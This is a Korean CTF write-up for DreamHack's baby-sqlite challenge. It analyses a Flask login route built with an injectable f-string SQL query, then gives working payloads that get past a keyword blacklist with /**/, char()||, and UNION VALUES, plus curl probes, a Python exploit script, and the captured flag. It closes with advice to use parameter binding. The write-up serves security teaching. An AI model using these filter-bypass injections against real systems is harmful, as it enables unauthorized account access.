[🥈 Silver 3] level 파라미터 하나로 뚫는 SQLi — DreamHack baby-sqlite 풀이

문제: DreamHack — baby-sqlite 분류: Web (SQL Injection) 난이도: 🥈 Silver 3 FLAG: DH{sql-lite-cass-lite}

로그인 폼 하나짜리 문제다. 겉으로는 아이디·비밀번호만 받는데, 서버는 몰래 level 이라는 세 번째 값을 함께 쿼리에 넣는다. 블랙리스트가 꽤 촘촘해서 흔히 쓰는 ' or 1=1 -- 는 첫 글자부터 막힌다. 결국 필터가 놓친 문법 조각들을 이어 붙여 admin 행 자체를 만들어내는 게 이 문제의 전부다.

문제 개요

풀이 흐름은 짧다. 소스에서 주입점이 level 뿐임을 확인하고, 블랙리스트가 막는 것과 안 막는 것을 나눠본 다음, 남은 조각(/**/, union, values, char(), ||)으로 admin 행을 위조하는 페이로드를 조립한다.

🔬 코드 정찰 — app.py

제공된 소스는 한 파일뿐이고, 로그인 라우트가 전부다.

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
 
    uid = request.form.get('uid', '').lower()
    upw = request.form.get('upw', '').lower()
    level = request.form.get('level', '9').lower()
 
    sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r',
                   '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
    for x in sqli_filter:
        if uid.find(x) != -1:  return 'No Hack!'
        if upw.find(x) != -1:  return 'No Hack!'
        if level.find(x) != -1: return 'No Hack!'
 
    with app.app_context():
        conn = get_db()
        query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
        try:
            req = conn.execute(query)
            result = req.fetchone()
            if result is not None:
                uid = result[0]
                if uid == 'admin':
                    return FLAG
        except:
            return 'Error!'
    return 'Good!'

세 값이 그대로 f-string 쿼리에 들어간다. 여기서 눈여겨볼 지점이 두 개다.

첫째, 주입점은 level 하나뿐이다. uid 와 upw 는 uid='{uid}' 처럼 작은따옴표로 감싸져 있는데, 필터가 ' 와 " 를 둘 다 막는다. 따옴표를 못 넣으면 문자열 리터럴 밖으로 빠져나올 수 없으니 이 둘은 주입이 안 된다. 반면 level 은 and level={level} — 따옴표 없이 숫자 자리에 바로 붙는다. 여기는 따옴표가 애초에 필요 없다.

둘째, 성공 조건은 "로그인"이 아니라 "결과 첫 컬럼이 admin"이다. result[0] == 'admin' 이어야 FLAG 를 준다.

그런데 DB 초기화 코드를 보면 사용자가 딱 하나다.

conn.execute('CREATE TABLE users (uid text, upw text, level integer);')
conn.execute("INSERT INTO users VALUES ('dream','cometrue', 9);")

admin 이라는 행은 존재하지 않는다. 그러니 "admin 으로 로그인"이 아니라, 쿼리 결과에 admin 이라는 값을 직접 만들어 끼워 넣어야 한다. UNION 을 떠올릴 수밖에 없는 구조다.

먼저 정상 동작부터 확인했다. 폼에는 uid·upw 칸만 있고 level 은 없다 — 서버가 기본값 '9' 로 채운다.

dream / cometrue 를 넣으면 dream 행이 매칭되지만 result[0] 이 dream 이라 FLAG 조건에는 못 미치고 Good! 만 뜬다.

🧱 배경 — SQLite 의 문법 조각들

이 문제는 SQLite 의 몇 가지 성질을 알면 풀린다.

• 주석 /**/ 은 공백처럼 쓰인다. 토큰 사이 아무 데나 넣을 수 있어서, 공백이 막혔을 때 단어 구분자로 그대로 대체된다.
• char(N) 은 코드포인트를 글자로 바꾼다. char(97) → 'a'. 따옴표 없이 문자열 한 글자를 만들 수 있다.
• || 는 문자열 연결 연산자다. char(97)||char(100) → 'ad'. 콤마 없이 여러 글자를 이어 붙일 수 있다.
• VALUES(...) 는 그 자체로 한 행을 만드는 구문이다. SELECT ... UNION VALUES('x') 처럼 SELECT 없이도 UNION 의 오른쪽에 올 수 있다. 즉 select 키워드 없이 임의의 행을 붙일 수 있다.

이 네 가지가 블랙리스트를 정확히 비껴간다. 필터는 select 는 막지만 union·values·char 는 신경 쓰지 않고, , 는 막지만 || 는 놔둔다.

🐛 삽질 — 블랙리스트에 하나씩 걸리는 과정

곧장 페이로드가 나온 건 아니고, 흔한 것부터 넣어보며 무엇이 막히는지 지도를 그렸다.

▶🐛 삽질 1 — admin 과 공백은 즉시 차단

가장 먼저 uid=admin 을 시도했다. admin 이 통째로 블랙리스트에 있으니 쿼리는 실행되지도 않고 No Hack! 이다.

level=1 or 1=1 같은 고전 페이로드도 마찬가지다. or 앞뒤 공백이 필터에 걸린다. 블랙리스트에 스페이스(' ')가 명시적으로 들어 있어서, 공백을 쓰는 순간 끝이다. 그래서 이후 모든 페이로드에서 공백은 /**/ 로 바꿔 쓰기로 했다.

💣 핵심 — UNION VALUES 로 admin 행 위조

재료가 다 모이면 조립은 기계적이다. select 를 못 쓰니 UNION 오른쪽을 VALUES(...) 로 채우고, 그 안에 char()||... 로 만든 'admin' 을 넣는다. 공백은 전부 /**/.

level = 9/**/union/**/values(char(97)||char(100)||char(109)||char(105)||char(110))

이게 쿼리에 끼면 최종 SQL 은 다음과 같다.

SELECT uid FROM users
WHERE uid='x' and upw='x' and level=9
UNION VALUES('admin');

왼쪽 SELECT 는 uid='x' 인 사용자가 없으니 0행이다. 오른쪽 VALUES('admin') 이 ('admin') 한 행을 만들어 붙인다. 합치면 결과 집합에는 admin 행 하나만 남고, fetchone() 이 그걸 집어 result[0] == 'admin' 이 성립한다. FLAG 조건 통과다.

블랙리스트 우회의 핵심은 "금지어를 안 쓰고 같은 의미를 표현"하는 것이다. union 을 안 막은 것, char·values·|| 를 놓친 것, 이 세 구멍이 겹쳐서 뚫린다. 하나라도 막았으면 훨씬 성가셨을 문제다.

🎯 익스플로잇 — curl 로 대조

필터가 실제로 무엇을 막고 무엇을 통과시키는지 라이브 서버에 그대로 확인했다. 정상 로그인, 차단되는 두 케이스, 그리고 우회 페이로드를 한 번에 비교한다.

# probe.sh — /login 필터·우회 대조
U="http://host3.dreamhack.games:21964/login"
curl -s "$U" --data-urlencode uid=dream --data-urlencode upw=cometrue --data-urlencode level=9      # 정상
curl -s "$U" --data-urlencode uid=admin --data-urlencode upw=x        --data-urlencode level=9      # admin 차단
curl -s "$U" --data-urlencode uid=x     --data-urlencode upw=x        --data-urlencode 'level=1 or 1=1'  # 공백 차단
curl -s "$U" --data-urlencode uid=x     --data-urlencode upw=x \
     --data-urlencode 'level=9/**/union/**/values(char(97)||char(100)||char(109)||char(105)||char(110))'  # 우회

admin 과 공백은 No Hack! 로 막히는데, 같은 의미를 /**/·char()||·values 로 표현한 마지막 페이로드만 필터를 통과해 플래그를 뱉는다.

브라우저에서도 재현했다. 폼에는 level 칸이 없으니 개발자 도구로 level 입력을 하나 끼워 넣고 페이로드를 채운 뒤 제출했다.

🚀 Full Exploit

페이로드는 짧지만, admin 문자열을 char() 로 조립하는 부분만 코드로 뽑아 두면 재사용이 편하다.

#!/usr/bin/env python3
# baby-sqlite — SQLi UNION VALUES 필터 우회
import sys
import requests
 
URL = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:21964/login"
 
# 'admin' 을 char() + || 로 조립 (콤마 금지라 char(97,100,..) 불가)
admin = "||".join(f"char({c})" for c in b"admin")   # char(97)||char(100)||...
payload = f"9/**/union/**/values({admin})"
 
print(f"[*] target : {URL}")
print(f"[*] level  : {payload}")
 
r = requests.post(URL, data={"uid": "x", "upw": "x", "level": payload}, timeout=15)
body = r.text.strip()
print(f"[*] resp   : {body}")
 
if body.startswith("DH{"):
    print(f"\n[+] FLAG: {body}")
else:
    print("\n[-] 실패 — 서버 상태/URL 확인")

실행하면 조립된 페이로드와 서버 응답이 그대로 찍힌다.

[*] target : http://host3.dreamhack.games:21964/login
[*] level  : 9/**/union/**/values(char(97)||char(100)||char(109)||char(105)||char(110))
[*] resp   : DH{sql-lite-cass-lite}
 
[+] FLAG: DH{sql-lite-cass-lite}

📝 결론

주입점은 따옴표 유무로 갈린다.

같은 쿼리 안에서도 uid='{uid}' 는 따옴표로 감싸 필터 ' 하나로 막히지만, level={level} 은 숫자 자리라 따옴표가 필요 없어 그대로 뚫린다. 문자열 값만 신경 쓰고 숫자 컬럼을 방치하는 건 흔한 실수다. 파라미터가 숫자든 문자든 예외 없이 파라미터 바인딩(placeholder) 으로 넘겨야 한다. conn.execute("... and level=?", (level,)) 였다면 이 문제는 성립하지 않는다.

블랙리스트는 "금지어를 안 쓰는 표현"에 약하다.

select 를 막아도 VALUES 가 있고, 공백을 막아도 /**/ 가 있고, 콤마를 막아도 || 가 있다. SQL 문법은 같은 뜻을 여러 방식으로 쓸 수 있어서, 키워드·문자 단위로 거르는 방어는 언제나 우회로가 남는다. 입력을 거르는 방향이 아니라 쿼리와 데이터를 문법적으로 분리하는 방향이 정답이다.

성공 조건도 다시 본다.

이 문제는 "admin 으로 로그인"이 아니라 "결과 첫 컬럼이 admin"이었고, DB 에 admin 행이 아예 없었다. 인증 우회를 노릴 때 대상 계정이 실제로 존재하는지, 아니면 결과 자체를 위조하는 문제인지 먼저 확인하면 헛다리를 덜 짚는다.